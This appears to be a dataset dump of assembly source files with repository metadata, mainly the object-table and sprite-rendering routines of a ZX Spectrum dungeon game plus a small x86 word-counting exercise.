MAIN ENDP
END MAIN | 11.519231 | 18 | 0.492487 |
476313d81ba45afeddcdb2fcd9805627e3da10d8 | 55 | asm | Assembly | src/menuscreen.asm | iratahack/CastleEscape | da4456087af603dd80d65f5653a1931fb275635b | [
"BSD-3-Clause"
] | 2 | 2022-01-11T11:38:22.000Z | 2022-01-13T04:24:18.000Z | src/menuscreen.asm | iratahack/CastleEscape | da4456087af603dd80d65f5653a1931fb275635b | [
"BSD-3-Clause"
] | 4 | 2021-02-27T15:33:42.000Z | 2022-01-09T16:40:09.000Z | src/menuscreen.asm | iratahack/CastleEscape | da4456087af603dd80d65f5653a1931fb275635b | [
"BSD-3-Clause"
] | 1 | 2022-01-05T17:26:51.000Z | 2022-01-05T17:26:51.000Z | section BANK_7
binary "mainmenu.scr"
| 13.75 | 30 | 0.545455 |
299badf09b212e974f58b5101ea8f77ed9661ce7 | 1,192 | asm | Assembly | esercizio-19/_main.asm | mattiagualtieri/calcolatori | d4af32b529bf4e357517a89e571d7212d2b98169 | [
"MIT"
] | null | null | null | esercizio-19/_main.asm | mattiagualtieri/calcolatori | d4af32b529bf4e357517a89e571d7212d2b98169 | [
"MIT"
] | null | null | null | esercizio-19/_main.asm | mattiagualtieri/calcolatori | d4af32b529bf4e357517a89e571d7212d2b98169 | [
"MIT"
] | 1 | 2020-12-15T09:08:25.000Z | 2020-12-15T09:08:25.000Z | .586
.model flat
.code
_conta_occorrenze proc
push ebp
mov ebp,esp
push ebx
push esi
push edi
push 0
mov esi, 0 ; indice
mov ecx, dword ptr [ebp + 8] ; stringa1 qui
mov edx, dword ptr [ebp + 12] ; stringa2 qui
mov eax, 0
loop_here:
cmp byte ptr [ecx + esi * 1], 0
jz abbiam_finito
push ebx
call check_word
cmp ebx, 1
jnz found_word
jmp over
found_word:
pop ebx
pop eax
inc eax
push eax
push ebx
over:
pop ebx
jmp loop_here
abbiam_finito: pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
_conta_occorrenze endp
check_word proc
mov eax, 0
mov ebx, 0
loop_word:
mov bl, byte ptr [ecx + esi * 1]
cmp byte ptr [edx + eax * 1], bl
jnz gg
inc esi
inc eax
cmp byte ptr [ecx + esi * 1], ' '
jz adieu
cmp byte ptr [ecx + esi * 1], 0
jz adieu
jmp loop_word
gg:
mov ebx, 1
cmp byte ptr [ecx + esi * 1], ' '
jz adieu
cmp byte ptr [ecx + esi * 1], 0
jz adieu
inc esi
jmp gg
adieu:
inc esi
ret
check_word endp
is_found proc
cmp ebx, 1
jnz found
jmp nope
found:
pop ebx
inc ebx
push ebx
nope:
mov eax, 0
mov ebx, 0
ret
is_found endp
End | 12.040404 | 46 | 0.614094 |
15a3340699da319c77abf6e8947efed0235783e0 | 24,148 | asm | Assembly | Source/objects.asm | DW0RKiN/3D-Dungeon | 509d92007837beb8fd83cc447bea9f4e13c98bc0 | [
"MIT"
] | 8 | 2017-09-24T13:06:55.000Z | 2020-11-18T20:18:05.000Z | Source/objects.asm | DW0RKiN/3D-Dungeon | 509d92007837beb8fd83cc447bea9f4e13c98bc0 | [
"MIT"
] | null | null | null | Source/objects.asm | DW0RKiN/3D-Dungeon | 509d92007837beb8fd83cc447bea9f4e13c98bc0 | [
"MIT"
] | null | null | null | ; =====================================================
; VSTUP:
; L = hledana lokace
; VYSTUP:
; DE = &(TABLE_OBJECTS[?].prepinace+typ)
; clear carry flag
; zero flag = nalezen ( A = L = offset lokace )
; not zero flag = nenalezen ( A > L a je roven nasledujici nebo zarazce )
; NEMENI:
; HL, BC
DE_FIND_FIRST_OBJECT_L:
ld DE, TABLE_OBJECTS-2 ; 10:3 DE = &(TABLE_OBJECTS[-1].prepinace+typ)
; VSTUP:
; DE = &(TABLE_OBJECTS[?].prepinace+typ)
FFO_NEXT:
inc DE ; 6:1 DE = &(TABLE_OBJECTS[?].dodatecny)
; VSTUP:
; DE = &(TABLE_OBJECTS[?].dodatecny)
FIND_NEXT_OBJECT:
inc DE ; 6:1 DE = &(TABLE_OBJECTS[?].lokace)
ld A, (DE) ; 7:1
inc DE ; 6:1 DE = &(TABLE_OBJECTS[?].prepinace+typ)
cp L ; 4:1 "lokace predmetu" - "nase hledana lokace"
jp c, FFO_NEXT ; 10:3 carry flag = zaporny = jsme pod lokaci
ret ; 10:1 zero = nasli jsme lokaci, not zero = presli jsme ji, neni tam
; =====================================================
; Prohleda seznam predmetu zda na dane pozici ( ulozene v registru "l" ) nelezi nepruchozi predmet ( = aspon jeden z hornich bajtu "typ" je nenulovy )
; VSTUP:
; L = hledana lokace
; VYSTUP:
; carry = zablokovana ( nepruchozi )
; MENI:
; DE, L, A
JE_POZICE_BLOKOVANA_L:
call DE_FIND_FIRST_OBJECT_L
ret nz ;11/5:1 nenalezena
JPB_NALEZEN_OBJECT: ; na lokaci lezi nejaky predmet
ld A, (DE) ; 7:1 typ
add A, MASKA_PREPINACE
ret c ; blokovany?
call FFO_NEXT ; hledej dalsi
jr z, JPB_NALEZEN_OBJECT ; 10:1 nalezen dalsi objekt na lokaci
ret
; =====================================================
; VSTUP:
; H = hledany roh
; L = hledana lokace
; VYSTUP:
; DE = ukazuje na TABLE_OBJECTS[x].lokace v prvnim radku se shodnym nebo vyssim natocenim (= za poslednim s nizsim natocenim) nebo prvni predmet na vyssi lokaci
; carry = 0
; H = TYP_ITEM + C
; MENI:
; A, H, DE
DEH_FIND_LAST_ITEM_HL:
ld DE, TABLE_OBJECTS-2
ld A, H
and MASKA_NATOCENI ; osetreni preteceni 3->0
inc A ; chceme posledni misto s danym natocenim, takze prvni s vyssim nebo pri rohu 3 dalsi lokaci
ld H, A ; 4:1 1..4
FLI_LOOP
inc DE ; 6:1 de: "typ"->"dodatecny"
inc DE ; 6:1 de: "dodatecny"->"lokace"
ld A, (DE) ; 7:1
inc DE ; 6:1 de: "lokace"->"typ"
cp L ; 4:1 "lokace predmetu" - "nase hledana lokace"
jr c, FLI_LOOP ; 10:3 carry flag = zaporny = jsme pod lokaci
jr nz, FLI_EXIT ; jsme za polickem
ld A, (DE) ; zamky + typ + natoceni
and MASKA_NATOCENI ;
cp H ;
jr c,FLI_LOOP
FLI_EXIT:
dec DE ; prvni bajt radku, (de) = lokace "za" nebo zarazka, od teto pozice vcetne ulozime 3 byty a zbytek vcetne zarazky o 3 posunem.
ld A, TYP_ITEM-1 ; TYP_ITEM - 1
add A, H ; TYP_ITEM - 1 + natoceni + 1
ld H, A ; TYP_ITEM + natoceni
ret ; not carry
; =====================================================
; VSTUP:
; A = PODTYP_ITEM
; L = lokace kam vkladam
; H = roh
; Je to komplikovanejsi fce nez sebrani, protoze musi najit to spravne misto kam to vlozit.
; Polozky jsou razeny podle lokace a nasledne podle natoceni (prepinace jsou ignorovany).
; Pak existuji polozky ktere maji dodatecne radky zacinajici nulou.
VLOZ_ITEM_NA_POZICI:
push AF ; ukladany predmet
call DEH_FIND_LAST_ITEM_HL
push HL ; uchovame TYP + NATOCENI a lokaci
ld hl,(ADR_ZARAZKY) ; 16:3
push hl
sbc hl,de ; 15:2 carry = 0 diky DEH_FIND_LAST_ITEM_HL
ld b,h ; 4:1
ld c,l ; 4:1 o kolik bajtu
inc bc ; pridame zarazku a odstranime problem kdy bc = 0
pop hl
ld d,h ; 4:1
ld e,l ; 4:1
inc hl
inc hl
inc hl
ld (ADR_ZARAZKY),hl ; 16:3
ex de,hl
; BC = velikost kopirovaneho bloku = 1 + ZARAZKA - DE ( pokud DE ukazuje na zarazku tak nepretecem )
; HL = zdroj = ZARAZKA
; DE = cil = ZARAZKA + 3
lddr ; "LD (DE),(HL)", DE--, HL--, BC--
pop BC ; TYP + NATOCENI a lokace
pop AF ; ukladany predmet
ex DE, HL
ld (HL), A ; dodatecny
dec HL
ld (HL), B ; TYP + NATOCENI
dec HL
ld (HL), C ; lokace
call ITEM_PUT_A
xor A
ld (PRESOUVANY_PREDMET), A ; 10:2 vyprazdnime misto kde byl drzeny predmet
jp INVENTORY_WINDOW_KURZOR
; =====================================================
; VSTUP: L = odkud beru
; H = (vector)
VEZMI_ITEM_Z_POZICE:
call DEH_FIND_LAST_ITEM_HL
ex DE, HL
dec HL ; MASKA_PODTYP
ld A, (HL) ; presouvany predmet
dec HL ; MASKA_TYP + MASKA_NATOCENI
ld B, (HL)
dec HL ; lokace
ld C, (HL)
ex DE, HL
sbc HL, BC ; spravna lokace i spravny predmet s natocenim?
ret nz ; nenalezen predmet na dane lokaci a rohu
ld (PRESOUVANY_PREDMET), A
ld HL, (ADR_ZARAZKY) ; 16:3
sbc HL, DE ; carry = 0
inc HL ; presunem i zarazku a vyresime preteceni pri BC = 0
ld B, H
ld C, L
ld H, D
ld L, E
inc HL
inc HL
inc HL ; odkud brat
; BC = velikost kopirovaneho bloku = 1 + ZARAZKA - DE ( pokud DE ukazuje na zarazku tak nepretecem )
; HL = zdroj = DE + 3
; DE = cil
ldir
dec de ; zrusime +1 z ldi
ld (ADR_ZARAZKY),de ;
jp INVENTORY_WINDOW_KURZOR
; ret
; =====================================================
; fce hleda na lokaci L, objekt H a xoruje mu bity
; VSTUP:
; H "bity+typ+natoceni"
; L hledana lokace
PREPNI_OBJECT:
push de
call DE_FIND_FIRST_OBJECT_L
; DE = &(TABLE_OBJECTS[?].prepinace+typ)
jr nz, PO_EXIT
PO_NALEZEN_OBJECT:
; na lokaci lezi nejaky predmet
ld A, (DE) ; 7:1 typ
xor H
and MASKA_TYP
jr nz, PO_NEXT_OBJECT ;12/7:2 neshoduje se typ
if ( KONTROLUJ_NATOCENI_U_PREPINACU)
; pokud jsou to dvere ignoruji natoceni
ld A, H
and MASKA_TYP
cp TYP_DVERE
jr z, PO_FOUND
; jinak musi sedet i natoceni
ld a,(de) ; 7:1 typ
sub h
and MASKA_NATOCENI
jr nz,PO_NEXT_OBJECT ;12/7:2 ??? pokud je horni bit nastaven tak to bude blbnout?
PO_FOUND:
endif
; je to hledany predmet AKTUALIZOVAT
ld a,h
and MASKA_PREPINACE
ex de,hl ; 4:1
xor (hl) ; 7:1 xorujeme flagy v horni casti "typ"
ld (hl),a ; 7:1
ex de,hl ; 4:1
PO_NEXT_OBJECT:
call FFO_NEXT
jr z,PO_NALEZEN_OBJECT
PO_EXIT:
pop de
ret
; =====================================================
; VSTUP:
; IX je zkoumana lokace
; BC je hloubka * 12 = radek v DOOR_TABLE/RAM_TABLE/...
; tzn B = 0
; MENI:
; mam povoleno menit A, HL, DE, BC
FIND_OBJECT:
inc ixl
ret z ; !!!!! drobny bug .) $ff lokace nesmi byt totiz ani v dohledu
dec ixl
ld de,TABLE_OBJECTS-2 ; 10:3 "defb lokace, typ, dodatecny"
FO_LOOP:
inc de ; 6:1 de: "typ"->"dodatecny"
FO_LOOP_DODATECNY:
inc de ; 6:1 de: "dodatecny"->"lokace"
ld a,(de) ; 7:1
inc de ; 6:1 de: "lokace"->"typ"
sub ixl ; 8:2 "lokace predmetu" - "nase hledana lokace"
jr c,FO_LOOP ;12/7:2 carry flag?
ret nz ;11/5:1 lezi na lokaci "hl"?
; na lokaci lezi nejaky predmet
ld a,(de) ; 7:1 typ
and MASKA_TYP ; 7:2
if ( TYP_PREPINAC != 0 )
cp TYP_PREPINAC ; 7:2
.warning 'Delsi kod, protoze TYP_PREPINAC != 0'
else
or a ; 4:1
endif
jr z,FOUND_PREPINAC ;12/7:2
cp TYP_ENEMY ; 7:2
jr z, FOUND_ENEMY ;12/7:2
cp TYP_DVERE ; 7:2
jp z, FOUND_RAM ;12/7:2
cp TYP_ITEM ; 7:2
jp z, FOUND_ITEM ;12/7:2
cp TYP_DEKORACE ; musi byt posledni varianta
jr nz, FO_LOOP
inc de ; typ -> podtyp
ld a, (de)
and MASKA_PODTYP
ld hl,RUNE_TABLE
cp PODTYP_RUNA ; 7:2
jr z,FOUND_DEKORACE ; 10:2
ld hl,KANAL_TABLE
; -----------------------------------------------------
; VSTUP: bc = index v tabulce
; adresa tabulky spravne dekorace
; de = ukazuje na podtyp/dodatecny!!! proto se vracim pomoci FO_LOOP_DODATECNY
FOUND_DEKORACE:
call ADD_BC_INIT_COPY_PATTERN2BUFFER_NOZEROFLAG
jr FO_LOOP_DODATECNY ; return s de = dodatecny
FO_EXIT:
ret
; =====================================================
FOUND_PREPINAC:
push bc
ld a,(de) ; 7:1 "typ"
and MASKA_NATOCENI ; 7:2
ld hl,VECTOR ; 10:3
ld l,(hl) ; 0 = N, 1 = E, 2 = S, 3 = W
sub l ; pohledy musi sedet
ld hl,PAKY_TABLE ; L uz nebudem potrebovat
add hl,bc
and 3 ; protoze nekdy potrebujeme aby sever byl 4 tak jsou validni jen posledni 2 bity
; pak 3-0 = -1 (000000-11) a 0-3 = 1 (111111-01)
jr z,FD_PREPINAC_INIT ; z oci do oci
ld bc,NEXT_PAKA
add hl,BC ; leve paky
cp 3 ; 3 = -1 ve 2 bitech
jr z,FD_PREPINAC_INIT ; leva paka trci doprava ( kdybych byl natocen doleva tak se shoduji nase smery )
add hl,BC ; prave paky
cp 1 ;
jr nz,FD_PREPINAC_EXIT ; je tu moznost paky co je za stenou a trci ode mne a tu nevidim...
; zero flag = prava paka trci doleva ( kdybych byl natocen doprava tak se shoduji nase smery )
FD_PREPINAC_INIT:
ld a,(de) ; "typ"
or a
jp p,FD_PREPINAC_VIEW ; kladne = paka je nahore
ld bc,PAKA_DOWN
add hl,bc
FD_PREPINAC_VIEW:
call INIT_COPY_PATTERN2BUFFER_NOZEROFLAG
FD_PREPINAC_EXIT:
pop bc
jr FO_LOOP
; =====================================================
FOUND_ENEMY:
push de
push ix
push bc
ld a,ENEMY_ATTACK_DISTANCE ; 7:2
cp c
jr nz,FE_FAR
; vzdalenost 1, levy predni skret...
ld a,(TIMER_ADR) ; timer
and FLOP_BIT_ATTACK
ld a,2
jp z,FE_FAR
ld a,1
FE_FAR:
ld (FE_SELFMODIFIYNG2+1),a
ld a,(de) ; 7:1 typ
and MASKA_PREPINACE ; 7:2
rlca ; 4:1
rlca ; 4:1
rlca ; 4:1
ld ixl,a ; pocet nepratel
rlca ; 4:1 pocet nepratel ve skupine * 2
add a,c ; 4:1
add a,c ; 4:1
add a,ENEMY_GROUP % 256 ; 7:2
ld l,a ; 4:1
adc a,ENEMY_GROUP / 256 ; 7:2
sub l ; 4:1
ld h,a ; 4:1 v hl je adresa kde je ulozena spravna pozice spritu s poslednim nepritelem
; [64]:[16]
inc de ; dodatecny, na zasobniku je puvodni hodnota
ld a,(de) ; 7:1 dodatecny
ex de,hl
ld hl,DIV_6 ; 10:3
add hl,BC ; 11:1
ld c,(hl) ; 7:1 z bc chceme jen hloubku * 2 = bc / ( 6 * 2 )
ld hl,ENEMY_TABLE+1 ; 10:3
add hl,BC ; 11:1 HL je index+1 do tabulky adres spritu nepratel pro danou hloubku, nepritel je zatim jen prvni podtyp
and MASKA_PODTYP ; 7:2
jr z,FE_VIEW
ld bc,NEXT_TYP_ENEMY ; uz nebudem potrebovat puvodni hodnotu, pak obnovime ze zasobniku
FE_NEXT:
add hl,BC ; 11:1 hledame sprite spravneho nepritele
dec a ; snizime
jr nz,FE_NEXT
FE_VIEW:
ld a,(hl) ; 7:1 segment
or a ; 4:1
jp z,FE_EXIT ; v teto hloubce nebude sprite na zadne pozici = exit
dec hl ; 6:1
ld l,(hl) ; 7:1
ld h,a ; 4:1
ld (FE_SELFMODIFIYNG+1),hl ; 16:3
ex de,hl
FE_LOOP:
dec hl
ld b, (hl)
dec hl
ld c, (hl)
inc c ; ochranujem akumulator
dec c
jp z, FE_TEST_LOOP ; sirka muze byt nula, ale vyska nula znamena nekreslit
FE_SELFMODIFIYNG:
ld de, $0000 ; 10:3 adresa spritu nepritele ve spravne hloubce
FE_SELFMODIFIYNG2:
ld a, $00
cp ixl
jp nz, FE_CALL
ld de, ESA1
dec b ; X??-1
ld c, Y03 ; Y03
FE_CALL:
push hl ; 11:1
push ix ; 15:2
call COPY_SPRITE2BUFFER
pop ix ; 14:2
pop hl ; 10:1
FE_TEST_LOOP:
dec ixl ; 8:2
jr nz,FE_LOOP
FE_EXIT:
pop bc
pop ix
pop de
jp FO_LOOP ; return
; =====================================================
; VSTUP:
; H = (VECTOR)
; MENI:
; A, HL
FOUND_DOOR:
inc C
dec C
ret z
; vykreslim jen jedny dvere ze dvou co jsou v tabulce
ld A, (DE)
inc A
inc A ; +2
xor H
and MASKA_NATOCENI
ret nz
; vykresli ram
ld hl,RAM_TABLE
call ADD_BC_INIT_COPY_PATTERN2BUFFER_NOZEROFLAG
ld A, (DE)
add A, MASKA_PREPINACE ; nektere dvere jsou otevrene, AKTUALIZOVAT!!!
ret nc ;
ld hl,DOOR_TABLE
call ADD_BC_INIT_COPY_PATTERN2BUFFER_NOZEROFLAG
ret ;
; =====================================================
; VSTUP:
; DE = @(TABLE_OBJECTS[?].prepinace+typ)
; IXl = TABLE_OBJECTS[?].lokace
; BC = 6*word*radek + 2*word*sloupec = offset v table, sloupec = {0..2} = {primy smer, vlevo, vpravo}, radek = hloubka
FOUND_RAM:
inc DE
ld A, (DE)
inc DE
inc DE
inc C
dec C
jr nz, FOUND_ITEM
ld H, A
ld A, (VECTOR)
xor H
and 1
ld hl, RAM_TABLE
call INIT_COPY_PATTERN2BUFFER
; =====================================================
; VSTUP:
; DE = @(TABLE_OBJECTS[?].prepinace+typ)
; IXl = TABLE_OBJECTS[?].lokace
; B = 0
; C = 6*word*radek + 2*word*sloupec = offset v table, sloupec = {0..2} = {primy smer, vlevo, vpravo}, radek = hloubka
; VYSTUP:
; vraci se jen pokud je predmet prilis daleko aby byl videt, ale ne tak daleko aby se nevykreslovali dekorace atd.
; jinak vykresli predmety pokud jsou videt
FOUND_ITEM:
if (0)
ld a,c
cp MAX_VIDITELNOST_PREDMETU_PLUS_1
jp nc, FO_LOOP ; return ( bohuzel tolikrat, kolikrat je predmetu na policku )
endif
bit BIT_STENA, (IX+$00) ; 20:4 jsme v nepruhledne stene? Nebude videt ze tam neco je ani kdyz jsme uvnitr...
ret nz
push DE ; ulozime adresu prvniho predmetu pro pripad preteceni na zacatek
ld A, (VECTOR)
ld H, A ; 4:1 ulozime si smer pohledu
; Roh = index rohu ctverce ve kterem lezi predmet (narusta po smeru hodinovych rucicek pri pohledu shora)
; vektor = index natoceni pri pohledu danym smerem
;
; Pohled na Rohy od N = 0 E = 1 S = 2 W = 3
; 0 1 1 2 2 3 3 0
; 3 2 0 3 1 0 2 1
;
; Rohy-vektor rohy-N rohy-E rohy-S rohy-W
; 0 1 0 1 0 1 0 -3
; 3 2 -1 2 -1 -2 -1 -2
; Pokud by vsechny rohy obsahovaly aspon jeden predmet tak staci preskakovat dokud nenarazim rohy-smer = not carry. To je prvni predmet ktery je nejdal (NEJVZDALENEJSI).
; Pokud v levem zadnim rohu (= vektor) nic neni tak zacnu vykreslovat od nasledujiciho v seznamu, pokud ma index vyssi jak vektor.
; Pokud nema, tak pretecu na dalsi lokaci nebo zarazku a NEJVZDALENEJSI je prvni predmet na dane lokaci.
FI_HLEDANI_NEJVZDALENEJSIHO:
ld a,(de) ;
and MASKA_NATOCENI ; roh
cp H ; roh - vektor natoceni
jr nc,FI_NEJVZDALENEJSI ; roh je ten nejvzdalenejsi?
FI_DALSI_RADEK:
; prejdeme na dalsi predmet ( jsou razeny podle rohu )
inc de ; @(TABLE_OBJECTS[?].podtyp)
inc de ; @(TABLE_OBJECTS[?].lokace)
ld a,(de) ; lokace ( muzem vytect do jine lokace, pak to znamena ze musime kreslit od ITEM_ADR_POCATKU )
inc de ; @(TABLE_OBJECTS[?].prepinace+typ)
; je to poteba? Muze byt na stejne lokaci predmet a prepinac?
or a
jr z,FI_DALSI_RADEK ; preskakujeme dodatecne radky (lokace = 0)
cp ixl
jr z,FI_HLEDANI_NEJVZDALENEJSIHO ; neopustili jsme policko?
; preteceni na zacatek ( levy zadni neni obsazen a po smeru hodinovych rucicek jsme pretekli na index 0, ktery jsem ignorovali )
pop DE ; nacteme prvni
push DE
FI_NEJVZDALENEJSI:
ld L, E ; ulozim si offset prvne vykresleneho predmetu, kvuli ukonceni az pretecem zase k nemu
; diky tomu ze polozky jsou po 3 tak bude shodny az po 256 predmetech na stejne lokaci
; pak vznikne chyba!!!
FI_VYKRESLI_ITEM_LOOP:
; Rohy-vektor rohy-N rohy-E rohy-S rohy-W
; 0 1 0 1 0 1 0 -3
; 3 2 -1 2 -1 -2 -1 -2
; MASKA_NATOCENI &(Roh-vektor)
; 0 1 0 1 0 1 0 1
; 3 2 3 2 3 2 3 2
push hl
push de
push ix
push bc
ld A, (DE) ; typ + roh
and MASKA_TYP
cp TYP_ITEM
jr z, FI_ITEM
cp TYP_DVERE
call z, FOUND_DOOR
jr FI_NEKRESLI
FI_ITEM:
; nastaveni XY do BC
ld A, (DE) ; zamky + typ + roh
sub H
and MASKA_NATOCENI
add A, A ; 0, 2, 4, 6 = 2*(roh-natoceni) & $07
; nastaveni adresy spritu do DE
ld HL, DIV_6 ; 10:3
add HL, BC ; 11:1
; B uz nepotrebujeme
; nastaveni XY do BC
ld B, A ; 2 * index rohu
; nastaveni adresy spritu do DE
ld A, (HL) ; 7:1 A = 2 * hloubka = C / 6
cp 6 ; hloubku 3+ vcetne ignorujeme
jr nc, FI_NEKRESLI
inc DE
ld A, (DE)
add A, A ; 2 * PODTYP
add A, A ; 4 * PODTYP
add A, A ; 8 * PODTYP (4 * word * PODTYP) = ofset radku
add A, (HL) ; + ofset sloupce = + 2*hloubka
add A, ITEM_TABLE % 256
ld L, A
adc A, ITEM_TABLE / 256
sub L
ld H, A ; hl = adresa, kde je ulozena adresa spritu daneho predmetu v ITEM_TABLE vcetne hloubky
ld E, (HL)
inc HL
ld D, (HL) ; de = adr. spritu
inc D
dec D
jr z,FI_NEKRESLI ; adresa je rovna nule, po dokonceni vsech nahledu snad nenastane... POZOR aktualizovat?
; nastaveni XY do BC
ld A, C ; C = 12*radek, kvuli TYP_TABLE
add A, A ; A = 24*radek, protoze ITEM_POZICE ma 24 bajtu na radek
add A, B ; pridame spravny podsloupec {0,2,4,6} = 2*(VECTOR)
add A, ITEM_POZICE % 256 ;
ld L, A
adc A, ITEM_POZICE / 256
sub L
ld H, A ; hl = adr. v ITEM_POZICE
ld C, (HL)
inc C
dec C
jr z, FI_NEKRESLI ; sirka muze byt nula, ale vyska nula znamena nekreslit
; nastaveni XY do BC
inc HL
ld B, (HL)
call COPY_SPRITE2BUFFER
FI_NEKRESLI:
pop bc
pop ix
pop de
pop hl
inc de ; typ -> podtyp
inc de ; podtyp -> lokace
ld a,(de)
inc de ; lokace -> podtyp
cp ixl
jr z,FI_TEST_ZACATKU_SELF ; jsme stale na spravne lokaci?
; POZOR udelat test zda je to predmet??? Kolidovat muze enemy a dvere.
; nejsme takze pretecem na zacatek
pop DE ; vracime se na zacatek
push DE
FI_TEST_ZACATKU_SELF:
ld A, L ;
cp E
; Jediny exit s fce!
jr nz, FI_VYKRESLI_ITEM_LOOP ; ret ne jp, takze ukonci i nadrazenou fci
;FI_EXIT
pop DE
ret
| 34.252482 | 169 | 0.441113 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.